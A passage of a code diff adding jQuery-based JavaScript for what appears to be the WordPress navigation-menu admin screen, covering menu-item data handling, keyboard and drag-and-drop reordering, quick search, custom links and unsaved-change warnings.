+							that.find('.field-' + $(this).val() ).addClass('hidden-field');
+						});
+					});
+				},
+				/**
+				 * Adds selected menu items to the menu.
+				 *
+				 * @param jQuery metabox The metabox jQuery object.
+				 */
+				addSelectedToMenu : function(processMethod) {
+					if ( 0 === $('#menu-to-edit').length ) {
+						return false;
+					}
+
+					return this.each(function() {
+						var t = $(this), menuItems = {},
+							checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
+							re = /menu-item\[([^\]]*)/;
+
+						processMethod = processMethod || api.addMenuItemToBottom;
+
+						// If no items are checked, bail.
+						if ( !checkboxes.length )
+							return false;
+
+						// Show the ajax spinner
+						t.find('.spinner').show();
+
+						// Retrieve menu item data
+						$(checkboxes).each(function(){
+							var t = $(this),
+								listItemDBIDMatch = re.exec( t.attr('name') ),
+								listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);
+
+							if ( this.className && -1 != this.className.indexOf('add-to-top') )
+								processMethod = api.addMenuItemToTop;
+							menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
+						});
+
+						// Add the items
+						api.addItemToMenu(menuItems, processMethod, function(){
+							// Deselect the items and hide the ajax spinner
+							checkboxes.removeAttr('checked');
+							t.find('.spinner').hide();
+						});
+					});
+				},
+				getItemData : function( itemType, id ) {
+					itemType = itemType || 'menu-item';
+
+					var itemData = {}, i,
+					fields = [
+						'menu-item-db-id',
+						'menu-item-object-id',
+						'menu-item-object',
+						'menu-item-parent-id',
+						'menu-item-position',
+						'menu-item-type',
+						'menu-item-title',
+						'menu-item-url',
+						'menu-item-description',
+						'menu-item-attr-title',
+						'menu-item-target',
+						'menu-item-classes',
+						'menu-item-xfn'
+					];
+
+					if( !id && itemType == 'menu-item' ) {
+						id = this.find('.menu-item-data-db-id').val();
+					}
+
+					if( !id ) return itemData;
+
+					this.find('input').each(function() {
+						var field;
+						i = fields.length;
+						while ( i-- ) {
+							if( itemType == 'menu-item' )
+								field = fields[i] + '[' + id + ']';
+							else if( itemType == 'add-menu-item' )
+								field = 'menu-item[' + id + '][' + fields[i] + ']';
+
+							if (
+								this.name &&
+								field == this.name
+							) {
+								itemData[fields[i]] = this.value;
+							}
+						}
+					});
+
+					return itemData;
+				},
+				setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
+					itemType = itemType || 'menu-item';
+
+					if( !id && itemType == 'menu-item' ) {
+						id = $('.menu-item-data-db-id', this).val();
+					}
+
+					if( !id ) return this;
+
+					this.find('input').each(function() {
+						var t = $(this), field;
+						$.each( itemData, function( attr, val ) {
+							if( itemType == 'menu-item' )
+								field = attr + '[' + id + ']';
+							else if( itemType == 'add-menu-item' )
+								field = 'menu-item[' + id + '][' + attr + ']';
+
+							if ( field == t.attr('name') ) {
+								t.val( val );
+							}
+						});
+					});
+					return this;
+				}
+			});
+		},
+
+		countMenuItems : function( depth ) {
+			return $( '.menu-item-depth-' + depth ).length;
+		},
+
+		moveMenuItem : function( $this, dir ) {
+
+			var items, newItemPosition, newDepth,
+				menuItems = $( '#menu-to-edit li' ),
+				menuItemsCount = menuItems.length,
+				thisItem = $this.parents( 'li.menu-item' ),
+				thisItemChildren = thisItem.childMenuItems(),
+				thisItemData = thisItem.getItemData(),
+				thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
+				thisItemPosition = parseInt( thisItem.index(), 10 ),
+				nextItem = thisItem.next(),
+				nextItemChildren = nextItem.childMenuItems(),
+				nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
+				prevItem = thisItem.prev(),
+				prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
+				prevItemId = prevItem.getItemData()['menu-item-db-id'];
+
+			switch ( dir ) {
+			case 'up':
+				newItemPosition = thisItemPosition - 1;
+
+				// Already at top
+				if ( 0 === thisItemPosition )
+					break;
+
+				// If a sub item is moved to top, shift it to 0 depth
+				if ( 0 === newItemPosition && 0 !== thisItemDepth )
+					thisItem.moveHorizontally( 0, thisItemDepth );
+
+				// If prev item is sub item, shift to match depth
+				if ( 0 !== prevItemDepth )
+					thisItem.moveHorizontally( prevItemDepth, thisItemDepth );
+
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren );
+					// Move the entire block
+					items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
+				} else {
+					thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'down':
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren ),
+						nextItem = menuItems.eq( items.length + thisItemPosition ),
+						nextItemChildren = 0 !== nextItem.childMenuItems().length;
+
+					if ( nextItemChildren ) {
+						newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
+						thisItem.moveHorizontally( newDepth, thisItemDepth );
+					}
+
+					// Have we reached the bottom?
+					if ( menuItemsCount === thisItemPosition + items.length )
+						break;
+
+					items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
+				} else {
+					// If next item has sub items, shift depth
+					if ( 0 !== nextItemChildren.length )
+						thisItem.moveHorizontally( nextItemDepth, thisItemDepth );
+
+					// Have we reached the bottom
+					if ( menuItemsCount === thisItemPosition + 1 )
+						break;
+					thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'top':
+				// Already at top
+				if ( 0 === thisItemPosition )
+					break;
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren );
+					// Move the entire block
+					items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
+				} else {
+					thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'left':
+				// As far left as possible
+				if ( 0 === thisItemDepth )
+					break;
+				thisItem.shiftHorizontally( -1 );
+				break;
+			case 'right':
+				// Can't be sub item at top
+				if ( 0 === thisItemPosition )
+					break;
+				// Already sub item of prevItem
+				if ( thisItemData['menu-item-parent-id'] === prevItemId )
+					break;
+				thisItem.shiftHorizontally( 1 );
+				break;
+			}
+			$this.focus();
+			api.registerChange();
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+		},
+
+		initAccessibility : function() {
+			var menu = $( '#menu-to-edit' );
+
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+
+			// Events
+			menu.on( 'click', '.menus-move-up', function ( e ) {
+				api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), 'up' );
+				e.preventDefault();
+			});
+			menu.on( 'click', '.menus-move-down', function ( e ) {
+				api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), 'down' );
+				e.preventDefault();
+			});
+			menu.on( 'click', '.menus-move-top', function ( e ) {
+				api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), 'top' );
+				e.preventDefault();
+			});
+			menu.on( 'click', '.menus-move-left', function ( e ) {
+				api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), 'left' );
+				e.preventDefault();
+			});
+			menu.on( 'click', '.menus-move-right', function ( e ) {
+				api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), 'right' );
+				e.preventDefault();
+			});
+		},
+
+		refreshAdvancedAccessibility : function() {
+
+			// Hide all links by default
+			$( '.menu-item-settings .field-move a' ).css( 'display', 'none' );
+
+			$( '.item-edit' ).each( function() {
+				var thisLink, thisLinkText, primaryItems, itemPosition, title,
+					parentItem, parentItemId, parentItemName, subItems,
+					$this = $(this),
+					menuItem = $this.closest( 'li.menu-item' ).first(),
+					depth = menuItem.menuItemDepth(),
+					isPrimaryMenuItem = ( 0 === depth ),
+					itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
+					position = parseInt( menuItem.index(), 10 ),
+					prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
+					prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
+					prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
+					totalMenuItems = $('#menu-to-edit li').length,
+					hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;
+
+				// Where can they move this menu item?
+				if ( 0 !== position ) {
+					thisLink = menuItem.find( '.menus-move-up' );
+					thisLink.prop( 'title', menus.moveUp ).css( 'display', 'inline' );
+				}
+
+				if ( 0 !== position && isPrimaryMenuItem ) {
+					thisLink = menuItem.find( '.menus-move-top' );
+					thisLink.prop( 'title', menus.moveToTop ).css( 'display', 'inline' );
+				}
+
+				if ( position + 1 !== totalMenuItems && 0 !== position ) {
+					thisLink = menuItem.find( '.menus-move-down' );
+					thisLink.prop( 'title', menus.moveDown ).css( 'display', 'inline' );
+				}
+
+				if ( 0 === position && 0 !== hasSameDepthSibling ) {
+					thisLink = menuItem.find( '.menus-move-down' );
+					thisLink.prop( 'title', menus.moveDown ).css( 'display', 'inline' );
+				}
+
+				if ( ! isPrimaryMenuItem ) {
+					thisLink = menuItem.find( '.menus-move-left' ),
+					thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
+					thisLink.prop( 'title', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
+				}
+
+				if ( 0 !== position ) {
+					if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
+						thisLink = menuItem.find( '.menus-move-right' ),
+						thisLinkText = menus.under.replace( '%s', prevItemNameRight );
+						thisLink.prop( 'title', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
+					}
+				}
+
+				if ( isPrimaryMenuItem ) {
+					primaryItems = $( '.menu-item-depth-0' ),
+					itemPosition = primaryItems.index( menuItem ) + 1,
+					totalMenuItems = primaryItems.length,
+
+					// String together help text for primary menu items
+					title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$d', totalMenuItems );
+				} else {
+					parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
+					parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
+					parentItemName = parentItem.find( '.menu-item-title' ).text(),
+					subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
+					itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
+
+					// String together help text for sub menu items
+					title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$s', parentItemName );
+				}
+
+				$this.prop('title', title).text( title );
+			});
+		},
+
+		refreshKeyboardAccessibility : function() {
+			$( '.item-edit' ).off( 'focus' ).on( 'focus', function(){
+				$(this).off( 'keydown' ).on( 'keydown', function(e){
+
+					var arrows,
+						$this = $( this ),
+						thisItem = $this.parents( 'li.menu-item' ),
+						thisItemData = thisItem.getItemData();
+
+					// Bail if it's not an arrow key
+					if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
+						return;
+
+					// Avoid multiple keydown events
+					$this.off('keydown');
+
+					// Bail if there is only one menu item
+					if ( 1 === $('#menu-to-edit li').length )
+						return;
+
+					// If RTL, swap left/right arrows
+					arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
+					if ( $('body').hasClass('rtl') )
+						arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };
+
+					switch ( arrows[e.which] ) {
+					case 'up':
+						api.moveMenuItem( $this, 'up' );
+						break;
+					case 'down':
+						api.moveMenuItem( $this, 'down' );
+						break;
+					case 'left':
+						api.moveMenuItem( $this, 'left' );
+						break;
+					case 'right':
+						api.moveMenuItem( $this, 'right' );
+						break;
+					}
+					// Put focus back on same menu item
+					$( '#edit-' + thisItemData['menu-item-db-id'] ).focus();
+					return false;
+				});
+			});
+		},
+
+		initPreviewing : function() {
+			// Update the item handle title when the navigation label is changed.
+			$( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
+				var input = $( e.currentTarget ), title, titleEl;
+				title = input.val();
+				titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
+				// Don't update to empty title.
+				if ( title ) {
+					titleEl.text( title ).removeClass( 'no-title' );
+				} else {
+					titleEl.text( navMenuL10n.untitled ).addClass( 'no-title' );
+				}
+			} );
+		},
+
+		initToggles : function() {
+			// init postboxes
+			postboxes.add_postbox_toggles('nav-menus');
+
+			// adjust columns functions for menus UI
+			columns.useCheckboxesForHidden();
+			columns.checked = function(field) {
+				$('.field-' + field).removeClass('hidden-field');
+			};
+			columns.unchecked = function(field) {
+				$('.field-' + field).addClass('hidden-field');
+			};
+			// hide fields
+			api.menuList.hideAdvancedMenuItemFields();
+
+			$('.hide-postbox-tog').click(function () {
+				var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
+				$.post(ajaxurl, {
+					action: 'closed-postboxes',
+					hidden: hidden,
+					closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
+					page: 'nav-menus'
+				});
+			});
+		},
+
+		initSortables : function() {
+			var currentDepth = 0, originalDepth, minDepth, maxDepth,
+				prev, next, prevBottom, nextThreshold, helperHeight, transport,
+				menuEdge = api.menuList.offset().left,
+				body = $('body'), maxChildDepth,
+				menuMaxDepth = initialMenuMaxDepth();
+
+			if( 0 !== $( '#menu-to-edit li' ).length )
+				$( '.drag-instructions' ).show();
+
+			// Use the right edge if RTL.
+			menuEdge += api.isRTL ? api.menuList.width() : 0;
+
+			api.menuList.sortable({
+				handle: '.menu-item-handle',
+				placeholder: 'sortable-placeholder',
+				start: function(e, ui) {
+					var height, width, parent, children, tempHolder;
+
+					// handle placement for rtl orientation
+					if ( api.isRTL )
+						ui.item[0].style.right = 'auto';
+
+					transport = ui.item.children('.menu-item-transport');
+
+					// Set depths. currentDepth must be set before children are located.
+					originalDepth = ui.item.menuItemDepth();
+					updateCurrentDepth(ui, originalDepth);
+
+					// Attach child elements to parent
+					// Skip the placeholder
+					parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
+					children = parent.childMenuItems();
+					transport.append( children );
+
+					// Update the height of the placeholder to match the moving item.
+					height = transport.outerHeight();
+					// If there are children, account for distance between top of children and parent
+					height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
+					height += ui.helper.outerHeight();
+					helperHeight = height;
+					height -= 2; // Subtract 2 for borders
+					ui.placeholder.height(height);
+
+					// Update the width of the placeholder to match the moving item.
+					maxChildDepth = originalDepth;
+					children.each(function(){
+						var depth = $(this).menuItemDepth();
+						maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
+					});
+					width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width
+					width += api.depthToPx(maxChildDepth - originalDepth); // Account for children
+					width -= 2; // Subtract 2 for borders
+					ui.placeholder.width(width);
+
+					// Update the list of menu items.
+					tempHolder = ui.placeholder.next();
+					tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder
+					ui.placeholder.detach(); // detach or jQuery UI will think the placeholder is a menu item
+					$(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQ UI know.
+					ui.item.after( ui.placeholder ); // reattach the placeholder.
+					tempHolder.css('margin-top', 0); // reset the margin
+
+					// Now that the element is complete, we can update...
+					updateSharedVars(ui);
+				},
+				stop: function(e, ui) {
+					var children, subMenuTitle,
+						depthChange = currentDepth - originalDepth;
+
+					// Return child elements to the list
+					children = transport.children().insertAfter(ui.item);
+
+					// Add "sub menu" description
+					subMenuTitle = ui.item.find( '.item-title .is-submenu' );
+					if ( 0 < currentDepth )
+						subMenuTitle.show();
+					else
+						subMenuTitle.hide();
+
+					// Update depth classes
+					if ( 0 !== depthChange ) {
+						ui.item.updateDepthClass( currentDepth );
+						children.shiftDepthClass( depthChange );
+						updateMenuMaxDepth( depthChange );
+					}
+					// Register a change
+					api.registerChange();
+					// Update the item data.
+					ui.item.updateParentMenuItemDBId();
+
+					// address sortable's incorrectly-calculated top in opera
+					ui.item[0].style.top = 0;
+
+					// handle drop placement for rtl orientation
+					if ( api.isRTL ) {
+						ui.item[0].style.left = 'auto';
+						ui.item[0].style.right = 0;
+					}
+
+					api.refreshKeyboardAccessibility();
+					api.refreshAdvancedAccessibility();
+				},
+				change: function(e, ui) {
+					// Make sure the placeholder is inside the menu.
+					// Otherwise fix it, or we're in trouble.
+					if( ! ui.placeholder.parent().hasClass('menu') )
+						(prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );
+
+					updateSharedVars(ui);
+				},
+				sort: function(e, ui) {
+					var offset = ui.helper.offset(),
+						edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
+						depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );
+					// Check and correct if depth is not within range.
+					// Also, if the dragged element is dragged upwards over
+					// an item, shift the placeholder to a child position.
+					if ( depth > maxDepth || offset.top < prevBottom ) depth = maxDepth;
+					else if ( depth < minDepth ) depth = minDepth;
+
+					if( depth != currentDepth )
+						updateCurrentDepth(ui, depth);
+
+					// If we overlap the next element, manually shift downwards
+					if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
+						next.after( ui.placeholder );
+						updateSharedVars( ui );
+						$( this ).sortable( 'refreshPositions' );
+					}
+				}
+			});
+
+			function updateSharedVars(ui) {
+				var depth;
+
+				prev = ui.placeholder.prev();
+				next = ui.placeholder.next();
+
+				// Make sure we don't select the moving item.
+				if( prev[0] == ui.item[0] ) prev = prev.prev();
+				if( next[0] == ui.item[0] ) next = next.next();
+
+				prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
+				nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
+				minDepth = (next.length) ? next.menuItemDepth() : 0;
+
+				if( prev.length )
+					maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
+				else
+					maxDepth = 0;
+			}
+
+			function updateCurrentDepth(ui, depth) {
+				ui.placeholder.updateDepthClass( depth, currentDepth );
+				currentDepth = depth;
+			}
+
+			function initialMenuMaxDepth() {
+				if( ! body[0].className ) return 0;
+				var match = body[0].className.match(/menu-max-depth-(\d+)/);
+				return match && match[1] ? parseInt( match[1], 10 ) : 0;
+			}
+
+			function updateMenuMaxDepth( depthChange ) {
+				var depth, newDepth = menuMaxDepth;
+				if ( depthChange === 0 ) {
+					return;
+				} else if ( depthChange > 0 ) {
+					depth = maxChildDepth + depthChange;
+					if( depth > menuMaxDepth )
+						newDepth = depth;
+				} else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
+					while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
+						newDepth--;
+				}
+				// Update the depth class.
+				body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
+				menuMaxDepth = newDepth;
+			}
+		},
+
+		initManageLocations : function () {
+			$('#menu-locations-wrap form').submit(function(){
+				window.onbeforeunload = null;
+			});
+			$('.menu-location-menus select').on('change', function () {
+				var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
+				if ($(this).find('option:selected').data('orig'))
+					editLink.show();
+				else
+					editLink.hide();
+			});
+		},
+
+		attachMenuEditListeners : function() {
+			var that = this;
+			$('#update-nav-menu').bind('click', function(e) {
+				if ( e.target && e.target.className ) {
+					if ( -1 != e.target.className.indexOf('item-edit') ) {
+						return that.eventOnClickEditLink(e.target);
+					} else if ( -1 != e.target.className.indexOf('menu-save') ) {
+						return that.eventOnClickMenuSave(e.target);
+					} else if ( -1 != e.target.className.indexOf('menu-delete') ) {
+						return that.eventOnClickMenuDelete(e.target);
+					} else if ( -1 != e.target.className.indexOf('item-delete') ) {
+						return that.eventOnClickMenuItemDelete(e.target);
+					} else if ( -1 != e.target.className.indexOf('item-cancel') ) {
+						return that.eventOnClickCancelLink(e.target);
+					}
+				}
+			});
+			$('#add-custom-links input[type="text"]').keypress(function(e){
+				if ( e.keyCode === 13 ) {
+					e.preventDefault();
+					$( '#submit-customlinkdiv' ).click();
+				}
+			});
+		},
+
+		/**
+		 * An interface for managing default values for input elements
+		 * that is both JS and accessibility-friendly.
+		 *
+		 * Input elements that add the class 'input-with-default-title'
+		 * will have their values set to the provided HTML title when empty.
+		 */
+		setupInputWithDefaultTitle : function() {
+			var name = 'input-with-default-title';
+
+			$('.' + name).each( function(){
+				var $t = $(this), title = $t.attr('title'), val = $t.val();
+				$t.data( name, title );
+
+				if( '' === val ) $t.val( title );
+				else if ( title == val ) return;
+				else $t.removeClass( name );
+			}).focus( function(){
+				var $t = $(this);
+				if( $t.val() == $t.data(name) )
+					$t.val('').removeClass( name );
+			}).blur( function(){
+				var $t = $(this);
+				if( '' === $t.val() )
+					$t.addClass( name ).val( $t.data(name) );
+			});
+
+			$( '.blank-slate .input-with-default-title' ).focus();
+		},
+
+		attachThemeLocationsListeners : function() {
+			var loc = $('#nav-menu-theme-locations'), params = {};
+			params.action = 'menu-locations-save';
+			params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
+			loc.find('input[type="submit"]').click(function() {
+				loc.find('select').each(function() {
+					params[this.name] = $(this).val();
+				});
+				loc.find('.spinner').show();
+				$.post( ajaxurl, params, function() {
+					loc.find('.spinner').hide();
+				});
+				return false;
+			});
+		},
+
+		attachQuickSearchListeners : function() {
+			var searchTimer;
+
+			$('.quick-search').keypress(function(e){
+				var t = $(this);
+
+				if( 13 == e.which ) {
+					api.updateQuickSearchResults( t );
+					return false;
+				}
+
+				if( searchTimer ) clearTimeout(searchTimer);
+
+				searchTimer = setTimeout(function(){
+					api.updateQuickSearchResults( t );
+				}, 400);
+			}).attr('autocomplete','off');
+		},
+
+		updateQuickSearchResults : function(input) {
+			var panel, params,
+			minSearchLength = 2,
+			q = input.val();
+
+			if( q.length < minSearchLength ) return;
+
+			panel = input.parents('.tabs-panel');
+			params = {
+				'action': 'menu-quick-search',
+				'response-format': 'markup',
+				'menu': $('#menu').val(),
+				'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
+				'q': q,
+				'type': input.attr('name')
+			};
+
+			$('.spinner', panel).show();
+
+			$.post( ajaxurl, params, function(menuMarkup) {
+				api.processQuickSearchQueryResponse(menuMarkup, params, panel);
+			});
+		},
+
+		addCustomLink : function( processMethod ) {
+			var url = $('#custom-menu-item-url').val(),
+				label = $('#custom-menu-item-name').val();
+
+			processMethod = processMethod || api.addMenuItemToBottom;
+
+			if ( '' === url || 'http://' == url )
+				return false;
+
+			// Show the ajax spinner
+			$('.customlinkdiv .spinner').show();
+			this.addLinkToMenu( url, label, processMethod, function() {
+				// Remove the ajax spinner
+				$('.customlinkdiv .spinner').hide();
+				// Set custom link form back to defaults
+				$('#custom-menu-item-name').val('').blur();
+				$('#custom-menu-item-url').val('http://');
+			});
+		},
+
+		addLinkToMenu : function(url, label, processMethod, callback) {
+			processMethod = processMethod || api.addMenuItemToBottom;
+			callback = callback || function(){};
+
+			api.addItemToMenu({
+				'-1': {
+					'menu-item-type': 'custom',
+					'menu-item-url': url,
+					'menu-item-title': label
+				}
+			}, processMethod, callback);
+		},
+
+		addItemToMenu : function(menuItem, processMethod, callback) {
+			var menu = $('#menu').val(),
+				nonce = $('#menu-settings-column-nonce').val(),
+				params;
+
+			processMethod = processMethod || function(){};
+			callback = callback || function(){};
+
+			params = {
+				'action': 'add-menu-item',
+				'menu': menu,
+				'menu-settings-column-nonce': nonce,
+				'menu-item': menuItem
+			};
+
+			$.post( ajaxurl, params, function(menuMarkup) {
+				var ins = $('#menu-instructions');
+
+				menuMarkup = $.trim( menuMarkup ); // Trim leading whitespaces
+				processMethod(menuMarkup, params);
+
+				// Make it stand out a bit more visually, by adding a fadeIn
+				$( 'li.pending' ).hide().fadeIn('slow');
+				$( '.drag-instructions' ).show();
+				if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
+					ins.addClass( 'menu-instructions-inactive' );
+
+				callback();
+			});
+		},
+
+		/**
+		 * Process the add menu item request response into menu list item.
+		 *
+		 * @param string menuMarkup The text server response of menu item markup.
+		 * @param object req The request arguments.
+		 */
+		addMenuItemToBottom : function( menuMarkup ) {
+			$(menuMarkup).hideAdvancedMenuItemFields().appendTo( api.targetList );
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+		},
+
+		addMenuItemToTop : function( menuMarkup ) {
+			$(menuMarkup).hideAdvancedMenuItemFields().prependTo( api.targetList );
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+		},
+
+		attachUnsavedChangesListener : function() {
+			$('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').change(function(){
+				api.registerChange();
+			});
+
+			if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
+				window.onbeforeunload = function(){
+					if ( api.menusChanged )
+						return navMenuL10n.saveAlert;
+				};
+			} else {
+				// Make the post boxes read-only, as they can't be used yet
+				$( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).unbind( 'click' );
+			}
+		},
+
+		registerChange : function() {
+			api.menusChanged = true;
+		},
+
+		attachTabsPanelListeners : function() {
+			$('#menu-settings-column').bind('click', function(e) {
+				var selectAreaMatch, panelId, wrapper, items,
+					target = $(e.target);
+
+				if ( target.hasClass('nav-tab-link') ) {
+
+					panelId = target.data( 'type' );
+
+					wrapper = target.parents('.accordion-section-content').first();
+
+					// upon changing tabs, we want to uncheck all checkboxes
+					$('input', wrapper).removeAttr('checked');
+
+					$('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
+					$('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');
+
+					$('.tabs', wrapper).removeClass('tabs');
+					target.parent().addClass('tabs');
+
+					// select the search bar
+					$('.quick-search', wrapper).focus();
+
+					e.preventDefault();
+				} else if ( target.hasClass('select-all') ) {
+					selectAreaMatch = /#(.*)$/.exec(e.target.href);
+					if ( selectAreaMatch && selectAreaMatch[1] ) {
+						items = $('#' + selectAreaMatch[1] + ' .tabs-panel-active .menu-item-title input');
+						if( items.length === items.filter(':checked').length )
+							items.removeAttr('checked');
+						else
+							items.prop('checked', true);
+						return false;
+					}
+				} else if ( target.hasClass('submit-add-to-menu') ) {
+					api.registerChange();
+
+					if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
+						api.addCustomLink( api.addMenuItemToBottom );
+					else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
+						$('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
+					return false;
+				} else if ( target.hasClass('page-numbers') ) {
+					$.post( ajaxurl, e.target.href.replace(/.*\?/, '').replace(/action=([^&]*)/, '') + '&action=menu-get-metabox',
+						function( resp ) {
+							if ( -1 == resp.indexOf('replace-id') )
+								return;
+
+							var metaBoxData = $.parseJSON(resp),
+							toReplace = document.getElementById(metaBoxData['replace-id']),
+							placeholder = document.createElement('div'),
+							wrap = document.createElement('div');
+
+							if ( ! metaBoxData.markup || ! toReplace )
+								return;
+
+							wrap.innerHTML = metaBoxData.markup ? metaBoxData.markup : '';
+
+							toReplace.parentNode.insertBefore( placeholder, toReplace );
+							placeholder.parentNode.removeChild( toReplace );
+
+							placeholder.parentNode.insertBefore( wrap, placeholder );
+
+							placeholder.parentNode.removeChild( placeholder );
+
+						}
+					);
+
+					return false;
+				}
+			});
+		},
+
+		eventOnClickEditLink : function(clickedEl) {
+			var settings, item,
+			matchedSection = /#(.*)$/.exec(clickedEl.href);
+			if ( matchedSection && matchedSection[1] ) {
+				settings = $('#'+matchedSection[1]);
+				item = settings.parent();
+				if( 0 !== item.length ) {
+					if( item.hasClass('menu-item-edit-inactive') ) {
+						if( ! settings.data('menu-item-data') ) {
+							settings.data( 'menu-item-data', settings.getItemData() );
+						}
+						settings.slideDown('fast');
+						item.removeClass('menu-item-edit-inactive')
+							.addClass('menu-item-edit-active');
+					} else {
+						settings.slideUp('fast');
+						item.removeClass('menu-item-edit-active')
+							.addClass('menu-item-edit-inactive');
+					}
+					return false;
+				}
+			}
+		},
+
+		eventOnClickCancelLink : function(clickedEl) {
+			var settings = $( clickedEl ).closest( '.menu-item-settings' ),
+				thisMenuItem = $( clickedEl ).closest( '.menu-item' );
+			thisMenuItem.removeClass('menu-item-edit-active').addClass('menu-item-edit-inactive');
+			settings.setItemData( settings.data('menu-item-data') ).hide();
+			return false;
+		},
+
+		eventOnClickMenuSave : function() {
+			var locs = '',
+			menuName = $('#menu-name'),
+			menuNameVal = menuName.val();
+			// Cancel and warn if invalid menu name
+			if( !menuNameVal || menuNameVal == menuName.attr('title') || !menuNameVal.replace(/\s+/, '') ) {
+				menuName.parent().addClass('form-invalid');
+				return false;
+			}
+			// Copy menu theme locations
+			$('#nav-menu-theme-locations select').each(function() {
+				locs += '<input type="hidden" name="' + this.name + '" value="' + $(this).val() + '" />';
+			});
+			$('#update-nav-menu').append( locs );
+			// Update menu item position data
+			api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
